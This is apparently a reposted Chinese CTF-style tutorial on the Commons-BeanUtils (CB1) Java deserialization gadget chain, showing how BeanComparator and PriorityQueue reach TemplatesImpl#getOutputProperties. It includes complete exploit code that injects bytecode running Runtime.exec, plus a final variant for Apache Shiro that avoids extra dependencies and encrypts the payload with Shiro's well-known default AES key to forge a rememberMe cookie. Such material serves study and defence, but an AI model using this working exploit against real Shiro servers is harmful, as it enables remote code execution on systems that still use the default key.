【Web】Java反序列化之CB1链花样调TemplatesImpl打Shiro

news/2024/5/19 22:54:41 标签: java, java反序列化, 反序列化, CB1链, ctf, web, 开发语言

目录

关于commons-beanutils

关于PropertyUtils.getProperty

TemplatesImpl实例化类的调用链路

TemplatesImpl#getOutputProperties竟是getter方法

接轨TemplatesImpl链的关键类——BeanComparator

exp

无依赖的Shiro反序列化利用链


关于commons-beanutils

Apache Commons BeanUtils 是 Apache 软件基金会下的一个开源项目,提供了一组工具方法,用于简化 Java 对象(Bean aka POJO)之间的属性拷贝、类型转换等操作。

关于PropertyUtils.getProperty

PropertyUtils.getProperty 是 Apache Commons BeanUtils 提供的一个方法,用于获取 JavaBean 对象的属性值。该方法会自动去调用一个JavaBean的getter方法。

代码示例:

import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.InvocationTargetException;

public class Main {
    public static void main(String[] args) {
        // 创建一个示例对象
        Person person = new Person("Alice", 25);

        try {
            // 获取属性值
            String name = (String) PropertyUtils.getProperty(person, "name");
            int age = (int) PropertyUtils.getProperty(person, "age");

            System.out.println("Name: " + name);
            System.out.println("Age: " + age);
        } catch (IllegalAccessException | InvocationTargetException | NoSuchMethodException e) {
            e.printStackTrace();
        }
    }
}

class Person {
    private String name;
    private int age;

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    // 省略 getter 和 setter 方法
}

TemplatesImpl实例化类的调用链路

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

我们的最终目的是走到defineClass这一步,但只要可以调用这条链上的任一方法就可以触发连锁反应,最后达成目的

CB1链,正是通过getOutputProperties的调用来完成攻击的

TemplatesImpl#getOutputProperties竟是getter方法

意料之外,情理之中

outputProperties是一个私有属性

private Properties _outputProperties;

 重写了getter方法

public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

算是一个比较抽象的bean(

接轨TemplatesImpl链的关键类——BeanComparator

反序列化的入口类是PriorityQueue,其readObject方法最终会调用传入comparator的compare方法(具体分析可以看文章一开始贴的链接)

下面我们来看BeanComparator的compare方法

public int compare(T o1, T o2) {
        if (this.property == null) {
            return this.internalCompare(o1, o2);
        } else {
            try {
                Object value1 = PropertyUtils.getProperty(o1, this.property);
                Object value2 = PropertyUtils.getProperty(o2, this.property);
                return this.internalCompare(value1, value2);
            } catch (IllegalAccessException var5) {
                throw new RuntimeException("IllegalAccessException: " + var5.toString());
            } catch (InvocationTargetException var6) {
                throw new RuntimeException("InvocationTargetException: " + var6.toString());
            } catch (NoSuchMethodException var7) {
                throw new RuntimeException("NoSuchMethodException: " + var7.toString());
            }
        }
    }

如果 this.property 不为空,则用 PropertyUtils.getProperty 分别取传入的两个对象的 this.property 属性,而this.property是在BeanComparator的构造方法处传入的(也可以用反射来操作),完全可控

 public BeanComparator(String property) {
        this(property, ComparableComparator.getInstance());
    }

当o1/o2是一个 TemplatesImpl 对象时,property 的值为 outputProperties 时,我们就可调用TemplatesImpl#getOutputProperties(),完成攻击链的调用

观察PriorityQueue的构造方法

public PriorityQueue(int initialCapacity,
                         Comparator<? super E> comparator) {
        // Note: This restriction of at least one is not actually needed,
        // but continues for 1.5 compatibility
        if (initialCapacity < 1)
            throw new IllegalArgumentException();
        this.queue = new Object[initialCapacity];
        this.comparator = comparator;
    }

我们可以用反射操作PriorityQueue的queue属性为TemplatesImpl 对象的方式来实现目的。

exp

这里用的是javassist来获取字节码

<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.29.2-GA</version>
</dependency>

召唤计算器的神奇咒语:

package com.CB1;

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CB1 {
    public static void setFieldValue(Object obj, String filedname, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(filedname);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        ClassPool classPool = ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload = classPool.makeClass("CB1");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        byte[] bytes = payload.toBytecode();
        Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();

        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templates, "_name", "test");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue queue = new java.util.PriorityQueue<Object>(2, comparator);
        queue.add(1);
        queue.add(1);

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

无依赖的Shiro反序列化利用链

Shiro中默认依赖了commons-beanutils

调用BeanComparator的无参构造时,会默认使用ComparableComparator.getInstance()

public BeanComparator() {
        this((String)null);
    }

    public BeanComparator(String property) {
        this(property, ComparableComparator.getInstance());
    }

    public BeanComparator(String property, Comparator comparator) {
        this.setProperty(property);
        if (comparator != null) {
            this.comparator = comparator;
        } else {
            this.comparator = ComparableComparator.getInstance();
        }

    }

但Shiro的默认依赖里面没有 org.apache.commons.collections.comparators.ComparableComparator 我们需要找到平替

需要满足如下条件:

  • 实现 java.io.Serializable 接口

  • 实现 java.util.Comparator 接口

  • 最好是java或shiro自带的

找到了CaseInsensitiveComparator 这个类是java.lang.String下的内部私有类 我们通过String.CASE_INSENSITIVE_ORDER来获取

public static final Comparator<String> CASE_INSENSITIVE_ORDER
                                         = new CaseInsensitiveComparator();

最终exp

public class CB1 {
    public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
        Class clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, newValue);
    }
    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes",
                new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        PriorityQueue pq = new PriorityQueue(comparator);
        setFieldValue(pq, "size", 2);
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(pq, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(pq);
        oos.close();
//        System.out.println(barr);
//        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
//        Object o = (Object)ois.readObject();
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
        System.out.printf(ciphertext.toString());
    }
}

http://www.niftyadmin.cn/n/5408566.html

相关文章

Linux测试端口开放

Linux测试端口开放 Linux测试端口是否开放有多种命令&#xff0c;如nc、telnet、ssh、curl、wget nc nc&#xff08;netcat&#xff09;可用于创建 TCP 或 UDP 连接、扫描端口、传输文件等 扫描指定端口&#xff1a; nc -zv ip port-z 使用0输入/输出模式&#xff0c;只在…

Python在无人兵器研发

Python在无人兵器研发开发中起着重要的作用。以下是几个方面的重要性&#xff1a; 简洁高效的语言&#xff1a;Python是一种简洁高效的编程语言&#xff0c;具有易于理解和编写的语法。这意味着开发人员可以更快地编写和测试代码&#xff0c;提高开发效率。 广泛的库和工具&am…

【RISC-V 指令集】RISC-V 向量V扩展指令集介绍(一)-向量扩展编程模型

1. 引言 以下是《riscv-v-spec-1.0.pdf》文档的关键内容&#xff1a; 这是一份关于向量扩展的详细技术文档&#xff0c;内容覆盖了向量指令集的多个关键方面&#xff0c;如向量寄存器状态映射、向量指令格式、向量加载和存储操作、向量内存对齐约束、向量内存一致性模型、向量…

华为昇腾系列——入门学习

概述 昇腾&#xff08;Ascend&#xff09;是华为推出的人工智能处理器品牌&#xff0c;其系列产品包括昇腾910和昇腾310芯片等。 生态情况 众所周知&#xff0c;华为昇腾存在的意义就是替代英伟达的GPU。从事AI开发的小伙伴&#xff0c;应该明白这个替代&#xff0c;不仅仅是…

2.00001《Postgresql内幕探索》走读 之 查询优化

文章目录 1.1 概述1.1.1 Parser1.1.2 分析仪/分析器1.1.3 Rewriter1.1.4 Planner和Executer 1.2 单表查询的成本估算1.2.1 顺序扫描1.2.2 索引扫描1.2.3 排序 1.3 .创建单表查询的计划树1.3.1 预处理1.3.2 获取最便宜的访问路径示例1示例二 1.3.3 创建计划树示例1例二 1.4 EXEC…

深度学习,人工智能总结

1&#xff0c;入门建议少看书&#xff0c;多看 csdn 上帖子总结&#xff08;主要就是 BP 神经网络&#xff0c;CNN &#xff0c;rnn &#xff09;&#xff0c;建立宏观的概念和主要框架&#xff0c;书可以作为进阶补充作为工具书查阅。 2,目前的神经网络还处于前牛顿时代&#…

Codeforces Round 929 (Div. 3)---->E. Turtle vs. Rabbit Race: Optimal Trainings

一&#xff0c;思路&#xff1a; 1&#xff0c;做这题如果对二分敏感的话&#xff0c;看完题目就大概很容易想到&#xff0c;通过二分来找到一个 r ,使得 [ l, r] 之间的和最接近 u (因为这样才是 Isaac 所能获得的最大提升)。 2&#xff0c;还有一个特殊情况&#xff0c;结合…

小红书笔记API:如何抓取小红书内容?

小红书&#xff08;Xiaohongshu&#xff09;是一个流行的社交媒体和内容分享平台&#xff0c;主要面向年轻人和女性用户&#xff0c;涉及时尚、美妆、生活、旅行等多个领域。小红书的内容通常受到版权保护&#xff0c;因此抓取其内容需要遵守小红书的使用条款和隐私政策。 在小…